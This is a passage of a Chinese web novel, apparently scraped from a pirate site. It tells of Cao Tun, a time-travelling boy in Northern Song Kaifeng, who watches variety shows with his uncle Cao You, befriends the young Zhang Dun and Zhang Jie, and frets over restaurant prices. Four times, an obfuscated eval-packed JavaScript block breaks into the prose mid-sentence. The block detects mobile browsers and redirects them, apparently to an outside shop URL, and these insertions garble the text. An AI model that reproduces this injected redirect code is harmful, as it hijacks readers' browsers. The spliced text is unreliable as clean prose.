他把脸从小叔叔怀里拔出来,好奇地打量那有趣的两兄弟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574363|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俊秀少年还红着脸支支吾吾不好意思说话,老成少年已经殷勤地与曹佑攀谈了。 曹暾看着那老成少年眼中的小星星,抬头瞅了瞅小叔叔的脸。 唉,我曹家人大多长相不错,我的两位亲叔叔的脸更是蓝颜祸水级别,真是招蜂引蝶啊。 曹暾那正在京外访友的二叔父曹佾,就是“八仙过海”传说中的曹国舅。 曹佾在宋代就被传为神仙。那时曹国舅改邪归正的明清戏曲还没出来,曹佾也没什么大的功绩。北宋民间将曹佾传作神仙,仅是因为他“性和易,美仪度”——说通俗点,就是气质和脸绝佳。 至于小叔叔曹佑……曹暾又揉了揉脸,把嘴角古怪的笑容揉下去。 小叔叔在正史中无记载,不知道是没出仕还是英年早逝。但在明清的戏曲中,以小叔叔为原型的“小国舅”因骄纵不法,强抢民妇,被包拯砍了脑袋。 后世所有“包公案”系列的影视动漫小说作品中,“小国舅”总会成为龙头铡下亡魂,好惨的哟。 嘻嘻嘻嘻嘻。 曹暾还是没忍住,又将脸埋进了可怜的小叔叔怀里,叽叽咕咕地笑了起来。 曹佑狐疑地低下头。 他和小侄儿太熟悉了,立刻察觉小侄儿这次发笑定是在笑话自己。可他现在什么都没做,小侄儿为何发笑? 曹佑正抓心挠肝,想搞清楚曹暾嘲笑什么的时候,那一直没说话的俊秀少年探过半个身子,压低声音道:“你姓曹名佑,与小国舅同名同姓。” 曹佑看出两位少年郎皆是官宦子弟,自己没有隐藏身份的必要,便点了下头,默认了身份。 俊秀少年却并不在意曹佑小国舅的身份,而是把视线投向了曹佑怀里的孩童:“难道你怀里的童子,就是曹家声名赫赫的神童曹暾?” 曹暾听这语气不是很友善,转头看向了神情倨傲的俊秀少年:“小子算不上声名赫赫,只是想报考童子科,便必须传出才名。当你要考进士时,也将和我现在一样寻着机会扬名。” 俊秀少年被曹暾的话噎住,半晌没想好怎么回答。 老成少年扑哧笑出声:“惇七就是这副恃才傲物的狗脾气,见谁都喜欢抬着下巴,迟早被人套布袋揍一顿,别理他。我和他都为章相公的侄儿,曾给你下过帖子,邀你一同论诗。” 曹暾扭过身子,端坐在小叔叔怀里拱手:“为免小子浮躁,小子所收帖子皆由长辈回绝,并不知晓此事,没能赴兄长们的约。若有得罪,实在抱歉。” 老成少年忙摇头:“是我们孟浪。” 他横了身旁兄弟一眼。 那俊秀少年虽面相倨傲,被曹暾讽了几句,竟也能自省道歉:“是我失礼了。” 曹暾点点头,非常不客气地收下了两人的道歉。 反正他将来当官就没准备干活,只想当尸位素餐的官僚蛀虫,自然不需要拉帮结派,讨好同僚。他便懒得和陌生人交流,刚坐直的身体又往后一靠,舒舒服服地半躺在小叔叔怀里,眼睛半眯半睁地听台上唱曲了。 曹暾气定神闲、晏然自若的模样令两位少年心中一惊。他们对曹家神童高看了几分,纷纷再次认真地做了自我介绍,连自己读了几年书,擅长什么学问都说了出来。 虽然他们是对着曹佑说话,但很明显是想与曹暾结交。 曹佑有点尴尬。 他知道小侄儿这表现可不是什么泰然沉着的气度,只是单纯的不礼貌,不想理睬人。 13.我来写话本 所谓“小唱”,就是用缓慢的曲调唱着婉约的文人词。 这小唱不需要多繁复的乐器伴奏,通常一张琴,一个拍板,再加上歌伎如黄莺般的优美歌喉,以及最最重要的,一副漂亮的脸蛋和玲珑有致的身段,便组成了一场完美的表演。 若是文人聚会,定会邀来名妓小唱。 他们会摇晃着酒盅,品鉴词曲中的优美艺术和作词人在词作背后的往事,顺带再提一提歌伎的脸和身段。 但在热闹的瓦舍里,歌伎清唱的声音很难听得清楚,观众便只会点评歌伎的脸和身段了。 曹佑虽然两世为人,但他在天下未乱时没机会见识繁华的瓦子。 待天下已乱,偏安一隅的朝中贵人们在繁华的临安城凭栏听歌,他在战场饮马守护那一隅偏安,自然也没空去听什么勾栏小曲,只听旁人说那勾栏唱词有多文雅,文人有多喜爱。 当周围污言秽语响起,曹佑惊得双眼睁圆,立刻捂住怀中小侄儿的耳朵。 曹暾打着哈欠道:“捂什么啊?你捂着我也能听见。” 曹佑犹豫要不要带着小侄儿离开的时候,小唱结束,换了嘌唱的伶人上台表演。 那嘌唱的表演形式和小唱差不多,只是唱歌人手中的小板换成了小鼓,曲调变得轻快明亮,那清雅委婉的歌词换成了淫靡艳丽,表演者的神情也不复清丽端正,频频向台下观众搔首弄姿。 曹佑深吸了一口气,把小侄儿的脑袋往怀里一按,站起身想离开。 叔父和朱夫子让我带暾儿来勾栏听戏,就是听这个?! 曹暾却不想走。来都来了,怎么也要见识了勾栏艺术再离开。 “躲什么躲?你还能把我护在罩子里不成?我迟早会接触到这些事,不如在你眼皮子底下接触。”曹暾道,“嘌唱后面就是杂剧了,等我看完杂剧再走。” 曹佑犹豫了一番,见曹暾神色清明,并未被那淫词艳曲影响,便咬牙坐了回去。 曹佑想,文人墨客没有不爱听曲看戏的,暾儿入朝为官,得和同僚有话可聊,或许确实自己护着暾儿先接触这些文人墨客喜爱的东西,比暾儿被那些同僚带着去接触更好。 曹暾又往后一倒,半躺在小叔叔的怀里继续听曲。 勾栏是民间艺术,若要通俗,便和后世那地下说唱或者脱口秀一样,要往下三路走才能吸引眼球。 曹暾见识得多了,心里半点波澜都未起。 等吸引了眼球后,真正的热闹终于开始了。 几个滑稽艺人先上来逗了笑,就有四名杂剧演员上了台。 今天的杂剧是官本《急慢酸》,唱的是穷酸书生种种想要脸面但更丢脸面的笑话。那唱词又是讥讽又像自嘲,唱得一众看戏的书生是又想笑又叹气。 曹佑终于不再坐立不安,认认真真听起戏来。 一旁观察曹佑曹暾叔侄二人的章家兄弟也把注意力转到了戏台子上,看得津津有味。 只有曹暾还是忍不住打哈欠。 刚刚的滑稽逗乐他还笑了笑,段子一唱他就撑不住了。这出穷酸书生咿咿呀呀的讽刺戏,对他而言还是太无聊了些,还不如看房玄龄编纂的《魔法晋书》,细品文字里各路诸侯魔法对轰来得有趣。 曹暾眼睛一闭,哪怕身旁喧闹,也沉沉睡去。 待曹佑听完这一回杂剧,意犹未尽地找侄儿分享感想时,发现曹暾小肚子起起伏伏,竟已经窝在他怀里熟睡多时。 众人喝彩声响起,曹暾睁开眼睛,对上曹佑无语的眼神,扯过曹佑的袖口擦眼睛。 “袖口脏。”曹佑忙扯回袖子,摸出帕子给曹暾擦脸,“不爱听戏?我们去其他棚子看杂手伎?” 曹暾点头。 曹佑对章家兄弟道:“要一起去吗?” 老成少年正想回绝,俊秀少年一边看着曹佑怀里的身处喧闹却仿佛静室,在红尘喧闹中也能安然入睡的曹暾,一边飞快应道:“去!” 老成少年在心底叹了口气。自家族弟还没放弃和曹家神童比一比的想法吗? 已经好些年没有神童敢扬报考童子科的名。官家又颇通文墨,偶尔有心存侥幸者,皆不合格。 曹家的谨慎,官宦士人皆知。即使曹家暾儿还没有在外显露过才华,他们都相信曹家是绝对有信心,才会让子弟扬名。 当宰辅的叔父也在还未认识曹家暾儿前,就肯定了曹家暾儿的才华。 族弟向来自傲,又极敬重叔父,闻言就想与曹家暾儿交流一番。若曹家暾儿真的有才华,他便想结交这个友人。 族弟言,即使进了京,京中同辈也多庸碌,实在无趣。 老成少年想,自家族弟就是寂寞了吧。啧,还是孩子呢。 因曹家的特殊身份,老成少年本不想和曹家走得太近。但他不知为何,一见曹佑就觉得投缘。 思来想去,只是同行逛瓦子,算不上结交后族,叔父应该不会太过忧虑,他便心虚地同意了。 坐在曹佑手臂上的曹暾打量自家小叔叔的神情,心里狐疑。 虽然曹佑看着神色平静,但曹暾与曹佑朝夕相处,自家小叔叔藏在眼底的情绪再深,都骗不过他的眼睛。 小叔叔有点激动啊,他在激动什么?难道是对当朝相公章得象仰慕多时? 在庆历君子离开朝堂后补位同平章事的章得象,确实是如今举世闻名的学问大家。反正撞就撞上他家小辈了,小叔叔就假装不在意地结交一下? 曹暾只能这么猜测了。毕竟小叔叔又不是和自己一样的穿越者,不会对着两个还未扬名的半大少年激动。 曹暾这个穿越者,自然知道那俊秀得刺眼的章家总角少年郎惇七,就是后世著名的“恶毒小人”章惇。 不熟悉宋史的人,只以为章惇是苏轼生涯中的反派角色。 稍稍熟悉一点宋史的人,知道章惇曾与苏轼为友。他们感慨,苏轼乌台诗案时,章惇不过是个编修,却为救苏轼辱骂当朝宰辅王珪是不是要吃御史舒亶的口水;章惇被苏轼之弟苏辙陷害时,苏轼却袖手旁观。所以章苏二人决裂,章惇报复实属情有可原。 而曹暾熟读宋史,对此只觉有趣。 章惇竭力营救苏轼是真,但苏轼却不是对章惇被弹劾袖手旁观——苏辙弹劾章惇“虽罪名未著,而意有不善,辄不可留”的时候,苏轼也上书说章惇平定西南夷叛乱是“构隙四夷”。 苏轼最初被贬也不是章惇干的,宋哲宗初次贬谪苏轼的时候,章惇还在苏州当官。三年后宋哲宗又把苏轼贬去海南吃生蚝,章惇正好在相位上,这次倒是可以给宋哲宗背锅了。 至于这锅背得对不对,因为章惇言“端王轻佻,不可以君天下”,宋徽宗和他的好儿子宋高宗竭力抹黑章惇,关于章惇的史料多有删改,南宋文人一举将章惇捧上北宋大奸臣的位置,章惇在《奸臣传》中的排名遥遥领先秦桧,背的锅数不胜数,也不差这一口了。 想想南宋文人是怎么批判章惇的?章惇不为亲友徇私授官是“穷凶极恶”,击败西夏和吐蕃的入侵并收复失地为“肆开边隙”。“欺负苏轼”这条罪名太小意思了,简直不够看。 不过曹暾觉得十分有趣的不是章惇背了多少口锅,而是不被史书书写的文物所透露的信息。 在提起章 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582562|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惇对苏轼怨恨时,多会提到元祐元年,苏轼在章惇被贬时写信与章惇相约以后归隐田园,被心胸狭隘的章惇视作嘲讽,是章惇报复行为的导火索。 然而,这被后世称为《归安丘园帖》的私人信件,是苏轼保存最完好的书法真迹之一,目前保存在海峡对岸的故宫博物院。 私人书信很容易损坏。也就是说,当章惇收到这封信的时候,他就小心翼翼地将其装裱珍藏。这之后,章惇经历了贬谪,又回到了朝堂为相;阻止端王登基未成,死在了湖州贬所。 苏轼写给章惇的最后一封信,一直随着章惇浮浮沉沉,丝毫未损。 纸寿千年,流传至今。 多么有趣啊。 还有一件同样有趣的事。 苏辙与章惇是真的水火不容,但他在写苏轼的墓志铭时,却称呼章惇为苏轼“旧善”,将章惇戏谑司马光,苏轼从中调停的往事刻在了苏轼的墓碑上——在苏轼的墓志铭中,章惇就只有一个身份,苏轼的友人。 这似乎印证了苏轼病逝前的那句话,“某与丞相定交四十余年,虽中间出处稍异,交情固无所增损也”。 有趣,真是太有趣了。 曹暾想着想着,便走神了。 曹佑拍拍走神的小侄儿的屁股:“暾儿,我问你先去哪边看杂手伎,问了好几遍了。想什么这么出神?” 曹暾捏了捏瘦削的小下巴:“我突然有了一个绝妙的主意。” 曹佑很配合地回答:“什么主意?” 曹暾瞟了一眼正好奇地竖起耳朵偷听的少年章惇:“今日看的杂剧剧本,内容无趣,内涵也无趣,主角真不像个文人。我要匿名写个真正文人的话本子,既能赚些零花钱,为叔祖父减轻抚养我的负担,还能抒发胸臆。” 曹佑向来支持曹暾的行为,想也不想就答应道:“好。你写了,我帮你找店家刻印。” 章惇忍不住问道:“话本?和笔记小说一样吗?你想写什么故事?” 曹暾胡扯:“当然是托古言今,针砭时弊啊。我决定借前唐的壳子,写庆历党争的事。就写一对好友因党争决裂,互相坑害,然后双双死于贬所的故事。” 章惇对曹暾好感暴增:“你连庆历君子都敢针砭吗?够狂妄!想好题目了吗?” “想好了。”曹暾点头,面无表情,声调拉长,“就叫《归安丘园》。” 章惇笑道:“归安丘园?归乡安居山林田园之中吗?挚友因争名夺利反目成仇,却以归安丘园为题,实在是妙极。若君不嫌弃,可唤我惇七。君写好话本,可给我一观吗?” 曹暾再次点头:“好啊。我取字还早,直呼我名就成。” 章惇便称呼曹暾为“暾弟”。 虽然曹佑是曹暾的长辈,但他与章惇及其族兄年纪相仿,便各论辈分,称“佑三”。 见族弟非要交曹暾这个朋友,那老成少年也只好合群,假装热情地说他也想看曹暾写的话本,与曹暾攀谈起来。 刚刚曹暾没注意老成少年的名字。直到老成少年打开了话匣子,提起祖父是因得罪章献太后而被黜官的御史,又提及自己被叔父章得象教养云云,曹暾脑子里出现了一个名字太复杂没记住,但事迹记得很清楚的人。 章惇有个族兄,于平夏城一战一举击溃西夏,使西夏“不复能军”,发掘出种师道等大将的北宋名将,名字叫章……那个谁谁。 曹暾在思考这个老逗弄章惇的章大郎是不是那北宋名将章谁谁时,曹佑的视线也不住地瞟向那老成少年。 ——以进士之身投笔从戎,屡次击败西夏大军的宋哲宗时帅臣,庄敏公章楶。 14.帮叔父交友 曹佑一生敬佩的人很多,种师道是其一。 靖康中,种师道力主抗金。宋钦宗却一意求和,将种师道幽禁。后种师道忧愤病死。当金军攻入汴京,宋钦宗被俘的时候,发现金军原来真的不多。他才痛哭流涕“不用种师道言,以至于此!”。 宋人迫害种师道,金人将领攻入汴京后,却厚待种家人,对种师道的侄儿夸赞种师道,说现在城破了,宋人终于知道种将军的忠义了。 曹佑自是知道种师道的忠义,对种师道生平了解颇深。 所以他知道种师道曾在庄敏公章楶麾下,章楶向宋哲宗推荐种师道,夸种师道“他日必为朝廷名将帅”。 他也知道,宋夏之战大宋输多胜少,每次求和几乎都是西夏的经济拖不起才开启和谈,在和谈中对大宋敲诈够了就“称臣”。 仅在宋哲宗时,章惇为相扛住朝野内外压力,章楶为将大败西夏。这次“和谈”大宋才没有送钱送地,而是拓边千里,缴获牛羊十万余。西夏在宋哲宗驾崩,章楶老病之后,才敢再次出现在宋夏边疆。 曹佑曾想,若是能跟随种公作战,不知有多畅快。 后来他想,若是能和种公一同在庄敏公麾下作战,上有明君良相庇佑,他和种公只需要跟随庄敏公开疆拓土,复汉唐之盛,那才叫真正畅快。 等他登临高位,他的想法又有所改变。他以为自己已经寻到了明君,而自己可以成为庄敏公。 可惜,不过一场大梦。 种公死后宋人尚知他之忠义。自己以“有异谋”之罪身死,过往一切记载肯定都会被焚毁。曹佑对自己的身后名不抱希望。他既已经成了另一个人,只想在这一世成全自己的忠义。 曹佑的视线悄悄落在故作敦厚,欺负族弟时眼底全是促狭的少年庄敏公身上。 他的视线又移向说不到两句话,就被族兄欺负得跳脚握拳的少年章相公。 好巧,他想共事的人就这么轻易地见面了?是自己的运气终于变好了吗? 曹佑不断思考怎么不动声色地和两人成为友人,但他又不确定在青史中留下赫赫名声的名将名相,会和怎样优秀的人成为友人。 再者曹家的处境很差,他们会不会不想与曹家子弟接触太深? 曹暾伸出手指,戳了一下曹佑的下巴。 曹佑低头看着怀里给他丢了一双白眼的小侄子。 咦?小侄子怎么又翻白眼了?谁惹他生气了? 曹暾真的快气死了。 来了,又来了。 小叔叔的眼神,他实在是太熟悉了! 他从小和小叔叔一同长大……虽然还没有长大,但他确定身边的人提起小叔叔都是赞不绝口。小叔叔究竟是怎么养成一副不自信的性子? 当然,曹佑的性格不是自卑,他只是自觉自己做得不够,还需要更多的努力。当他想要做什么的时候,哪怕自觉准备不够,也会竭力争取,是个十足的行动派。 但曹暾就是看不得小叔叔那时时反省,事事斟酌的模样。 反省什么啊! 一定是狗皇帝对我曹家打压太过,才让我曹家人个个谨慎自谦过头。 他想了想叔祖父的性格,又想了想史书中二叔父的性格。 天啦,小叔父也要变成那样的自谦过头的闷葫芦吗?他真是浑身刺挠。 旁边的戏台子上的伎人正在操纵着悬丝傀儡,演着一出孩童春游戏;道旁的两位倡人踩在同一条悬空的细索上,错身而舞的时候翩如飞燕;又有踢瓶的、弄碗的、吹火的……各种杂手伎精彩非凡。曹暾本来已经被精彩的表演吸引。 一瞥到小叔叔那想要交友又踌躇不前的眼神,曹暾连看杂耍的兴致都气没了。 唉,烦。 他本不想和章惇和章……那啥走得太近,免得卷入以后的党争。但小叔叔没有同龄朋友,一点点麻烦比起小叔叔,受就受吧。 反正新旧党人最初都是朋友,互相下死手的时候也没手软。他以后是白吃俸禄的庸碌,新旧党人平衡结交,应该不碍他躺平的梦想。 “两位兄长,我有些饿了,一同去潘家酒楼用午膳可好?”曹暾主动邀请道。 章惇立刻欣然同意。章楶也只好跟着同意。 曹暾看出章楶正在犹豫是否要和曹家人深交。如果是平时,他早就找借口走人。但小叔叔想交朋友,他便装作没看见章楶的为难。 曹暾虽然面无表情的模样看上去有点敷衍,但聊天的内容很用心。 不需要捏着可恶的毛笔写字,只是用嘴说,曹暾什么儒学经典都能和人扯一下。 他知道如今的文学大家们都喜欢韩愈、柳宗元等古文运动领导者的文章,特意寻了韩愈等人的文章背诵。 曹家虽然没钱,但底蕴尚在,藏书不少。曹暾想看什么书,只要给叔祖父写封信,叔祖父定能为自己寻到。 曹暾出口成章,即使是韩愈柳宗元的文章,也足以引人瞩目。 以他的年龄,腹中藏书之丰富,让章惇都卸去了眼中的傲慢底色,真心想与曹暾为友了。 章惇劝说道:“暾弟,你该再沉淀几年,与我等一同与天下才子争夺状元才是。童子科只是赐进士出身,哪有一甲及第风光?” 曹暾虚伪道:“我科举只为入朝为官,报效君王,不在意虚名。” 他心道:我?和你同榜争夺一甲?连大文豪苏轼在殿试都只中了乙科的那个嘉祐二年天下第一榜的一甲吗? 听到曹暾的回答,章惇的脸色有点不好看。 曹暾注意到了章惇的不悦,思考了一会儿,恍然自己刚才的回答可能会引人误会。 他找补道:“我是说我比较急功近利……” 章惇面色潮红,连连摆手:“别说了别说了。” 曹暾:“哦。”他就真的不说了。 章楶忍笑忍得肚子疼。 自己那族弟性情颇为高傲,事事都想争第一。难得见到一个欣赏的友人,不仅年纪比他小许多,还对虚名毫不在意,性格比他还成熟。看,被打击到了吧? 更让他觉得好笑的是,曹暾那直来直往的性格也正好克制章惇。而且曹暾才五岁,章惇连生气都不能。 章惇揉了揉脸,把脸上热意揉了下去,语气干瘪瘪地继续和曹暾聊天。 心里是很不爽,但朋友还是要交的。 曹暾在心里点点头。他不知道《奸臣传》中颇多残酷卑鄙事迹的章惇的真实模样是什么,但自己面前这小少年,不惹人讨厌,可以介绍给小叔叔。 曹暾便很自然地将问题抛给曹佑和章楶,引导两人也加入聊天。 他尤其提起边疆之事。少年正值热血,经史 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582563|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子集算什么?凌烟阁上万户侯,才是他们的梦想。 许多文人都鄙夷武人,且不说在场没有这样狭隘无知的人,凌烟阁上的万户侯和普通武人能是一回事吗? 不出曹暾所料,一旦提起边疆武事,这场“文会”就成了小叔叔一人的秀场。 曹佑在说起武事前心中再多踌躇,当他开始谈论军略时,不自觉就释放出强大的自信气场。 连曹琮和范仲淹这等在边疆有实绩的名臣良将和曹佑谈起兵家之事,都会不自觉被曹佑的气势慑住,将曹佑视作同等地位平等讨论,不将曹佑当成晚辈。何况两个从未见过血的少年? 章惇和章楶连语气都弱了几分。 几句话之后,竟像是曹佑在为章惇和章楶授课了。 进了潘家酒楼,几人在二楼角落处要了个四周有屏风的桌子。章惇和章楶一左一右将曹佑夹在中间,身体微微向曹佑倾斜,神情专注极了。 已经闭嘴偷懒的曹暾要了张垫了高垫子的椅子,坐在曹佑对面点菜。 他看着自家小叔叔自信满满的精神气,满意地轻轻颔首。 这样才对嘛。 嗯,看看传说中的潘家酒楼有什么特色菜。 嘶,好贵! 曹暾闭上了被价格闪瞎的眼睛,内心被贫穷刺痛。 一只姜丝清蒸蟹就要一贯钱,抢钱啊! 想想前世自己的家境不过小康,每逢中秋,清蒸大闸蟹能吃到腻。如今自己是大宋顶尖的勋贵,居然连一只普通的清蒸河蟹都吃不起。 可恶的前世记忆,真是太影响今生的幸福度了! 曹暾迅速将菜单前面几页翻过,从标注为主食的菜单中最便宜的开始找。 半大小子吃穷老子,在场都是正在长身体的饭桶,要用一贯钱填饱肚子,还是得使劲塞米面。 终于看到了平日在外面食店里也能看到的平价餐食,但曹暾仍旧嘴角抽搐。 外面一碗羊肺汤20文,这里要30文,并且标注就是从他常去的那家店买的。 他深吸了几口气,才勉强从贫穷中冷静下来,继续翻看菜单。 翻完一遍菜单后,曹暾心里对潘家酒楼的消费水平有了数。 如潘家酒楼这样有酿酒许可证的正店,店里现卖的是酒和各类奢侈菜肴,如应季新鲜的蔬菜瓜果山珍,从南边长江的河鲜和东边的海鲜等。 若要猪羊饭面等普通下酒菜,店家皆是从外面采买,然后在店里热一热,换个盛放的器皿再端上来。 来了酒楼必定要饮酒,曹暾点了一壶最便宜的名为“琥珀光”的黄米酒,白肉浇头的桐皮面各四份,先确保填饱肚子,然后文火炙羊腰子、炒鱼肉兜子、酱煮软羊肉等都来了一小碟,拼拼凑凑了七百多文钱。 还好进酒楼买酒就会赠送五小碟瓜果蔬菜,不然这一桌子还摆不满。 曹暾估摸着点好的菜的分量,又要了四张最便宜的烤胡饼。如果菜不够吃,啃胡饼也能饱。 点完菜,跑堂的人微笑着离开,脸上没有半点对曹暾斤斤计较的穷酸劲儿的鄙夷,那服务态度是殷勤极了。 曹暾深深地舒了口气。 出来下一次馆子,他才知道自己有多穷。不能干等着姑母升级成皇太后了,他必须现在就想法子赚点钱,不然入朝为官后都没钱宴请和行贿。 15.伴驾金明池 当曹佑讲武,章惇和章楶不仅眼神,连整个上半身都快往曹佑身上贴近时,店家把酒菜一一呈上。 章惇对数字很敏锐。 他曾多次和族叔章得象来潘楼听曲,对潘楼物价了然于心。 章惇扫一眼桌上酒水佳肴,心底自然而然浮现出诸多数字,最后得出一个总价。 他惊讶道:“佑三,你出门居然带了一贯钱之多?” 曹佑疑惑:“你怎么知道?” 章惇指着桌上酒菜:“这一桌酒菜加上你在瓦舍花的钱,差不多七百来文。” 曹佑无奈地看了曹暾一眼。 出门游玩额外得到的零花钱若是不花完,曹佑是准备退还给叔父的。暾儿算得这么准,定是想着要把钱花光,不然就觉得亏了。 曹暾看出曹佑的无语,解释道:“你若把余下的钱退给叔祖父,叔祖父定会让你自己拿着做零花钱。然后你二人你推我让,没用的话说一大箩筐。既然结交了友人,不如花光,免得浪费口舌。” 曹佑深深叹了口气:“我不是说该省钱,只是……罢了,你说得对。” 章楶听了曹佑和曹暾的对话,才明白发生了什么。 他先给了族弟后脑勺一下:“友人请客,你还计算花销?族叔是这么教你交朋友的吗!” 然后他不断拱手:“失礼了失礼了,惇七实在是不像话!这顿我来请!” 曹暾摇头:“都说了我们请。既然要交朋友,计较那么多干什么?计较太多就不是朋友了。你们继续聊。” 章惇先摸了摸后脑勺,然后也不住地道歉。他就是惊讶曹暾小小年纪,居然计算如此精准,一时嘴瓢了。 曹暾不过五岁,学识渊博就罢了,但人情客往是需要时光沉淀。他自己都老被族叔和族兄斥责不懂事,怎么五岁的曹暾居然像个成年人似的世故? 更让章惇惊讶的是曹佑对曹暾的信任。 潘楼之奢华,连朝中公卿来饮酒都要计算一下资费。曹佑与他们交谈时,竟默许曹暾点菜,半点没担心曹暾乱来。 还有啊,平时他确实不太爱琢磨太多学问之外的事,但这次他真心不是不会处事。 他是算出了今日花销后,担忧曹暾点多了,才故作惊讶,提醒曹佑。 若是曹佑面露为难之色,他好顺水行舟,提出这次不让曹佑请客,他们平摊饭钱。 章惇不满地瞥了章楶一眼。在他看来,不会做事的明明是章楶。 这么一打扰,章惇和章楶虽然意犹未尽,也先用了酒饭再聊。 潘楼的花销贵,服务自是一等一的好。 伺候的人先端来银盆让众人洗手净面,又呈上四副银箸银碗银杯,四只装着新鲜蔬果的琉璃碟,四个盛满各色干果蜜饯的漆盒,并四个盛满酱菜的白瓷碗。 待酒食端来时,半温的酒水也装在银瓶里,从楼外采买的吃食一并用琉璃和银碗盛放。 光是这一桌盛放酒水的器皿换成白银,都要近百两了。 曹佑有些踟蹰。他两辈子都没这么奢侈过,很是不自在。 曹暾看出小叔叔的窘迫,便用更大的尴尬化解曹佑的不自在——他一一点评桌上器皿,啧啧这些玩意儿有多值钱,够他多久花销。 “我仇富了。”曹暾市侩道。 章楶瞠目结舌。章惇拍桌狂笑:“暾弟,你真有意思。我爱计较这些,常被人说庸俗。你怎么也是庸俗的人?” 章楶回过神,笑道:“入朝为官后若想做点实事,件件琐事都离不开铜板。不庸俗的人考什么科举,当什么官?不如在深山老林里填一辈子词。” 曹佑频频点头,想着自己出兵需要花费的钱粮,就一阵疲惫。 曹暾没想到章惇和终于知道名字,但估计一错眼就不会书写其名字的章楶,居然是这个反应。 他是故意庸俗,想降低两人好感度来着…… 章惇可是会入《奸臣传》,子孙都不准出仕的倒霉蛋,与他结交肯定会遇到很多麻烦事。即使为了小叔叔交友,曹暾勉强与其结识,但还是只想和章惇混个不冷不热的普通朋友,不想与之深交。 曹暾想趁着自己年岁小,即使章惇心胸再狭隘也不会与五岁孩童为敌,他便显露出不讨人喜欢的一面,让章惇自己淡了与他的关系,只与小叔叔结交去。 失策。 曹暾见自己的故意表现起了反效果,便又闭嘴不言,只埋头吃饭。 章惇和章楶却不放过他,半点没有食不语的自觉性,频频找曹暾聊天。 曹暾虽不想与之深交,但也不想得罪两人,便硬着头皮用尽可能最简短的话回应。 他将求助的视线投向曹佑。 曹佑端起酒杯,并端走了曹暾面前的酒杯,假装没看见曹暾的为难。 暾儿孤僻,就该多交良友。 而且曹佑看着曹暾心里百般不愿意还要强忍的模样,实在是太有意思了。 回去就画下来。 二哥早早写信,让自己多给暾儿画像,等他回来看。这次画像,二哥绝对会很满意。 一顿饭,曹暾吃得没滋没味。 潘楼本来就和后世的商务宴请一样,价格贼贵,饭菜味道一般,大部分下酒菜都是从外面食店里买来腾个碟子,吃的就是个服务和环境。 章惇和章楶在一旁吧啦吧啦,把曹暾享受服务的心情都被吧啦没了。 烦。 曹暾一点都不想和新旧党人的领袖深交,想想就麻烦。 还好曹暾年幼,遇见不顺心的事就可以装疲惫。一顿饭后,曹暾连继续逛街的心情都没了,当即给众人表演了一个何为病弱豆芽菜。章惇再舍不得,也只能目送曹暾离开。 至于章楶,他更舍不得曹佑。离别时,他执着曹佑的手,重复了三遍今后多联系。 经史子集什么的只是用来考科举的,我们要多聊兵书! 待上了马车,曹佑拍了拍怀里小侄儿的小屁股,压低声音道:“你不喜欢他们?” 曹暾胡乱扯淡道:“我们是后族,他俩是宰辅的侄儿。皇后和宰相走得近了不是好事。” 曹佑想了想,也有点犹豫要不要继续与两人结交了。 曹暾道:“小叔叔与章惇、章楶年龄相仿,结为友人正常。我与他们年龄相差太大,陛下恐不会认为我们是正常交友。我不和他们好就成了,小叔叔你无所谓。” 曹暾只是自己不想交朋友,不想阻拦小叔叔交朋友。 以他对小叔叔的了解,小叔叔将来肯定是要上战场的。章家子弟有一个算一个,全都是一只手握笔一只手握刀的帅臣,小叔叔必定会和他们共事,不想结交也得结交。 等到了靖康,别说小叔叔,就连自己都肯定老死了。章家人再被打压也不会波及小叔叔。 等到了南宋,哪怕小叔叔和章惇章楶交情再深厚,身为后族和开国勋贵,谅宋高宗也不敢把曹家人也编进《奸臣传》里。 自己身为文臣,离新旧党争的漩涡太近,所以避嫌是必须的。小叔叔在外为将,就不用那么计较了。 听了侄儿的话后,曹佑道:“回去后,我们问问叔祖父。” 曹暾点头。 他想着回家后就能继续看小说,一直板着的脸浮现浅浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586782|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑容。 出什么门啊,又累又花钱,还是在家里看小说舒服。 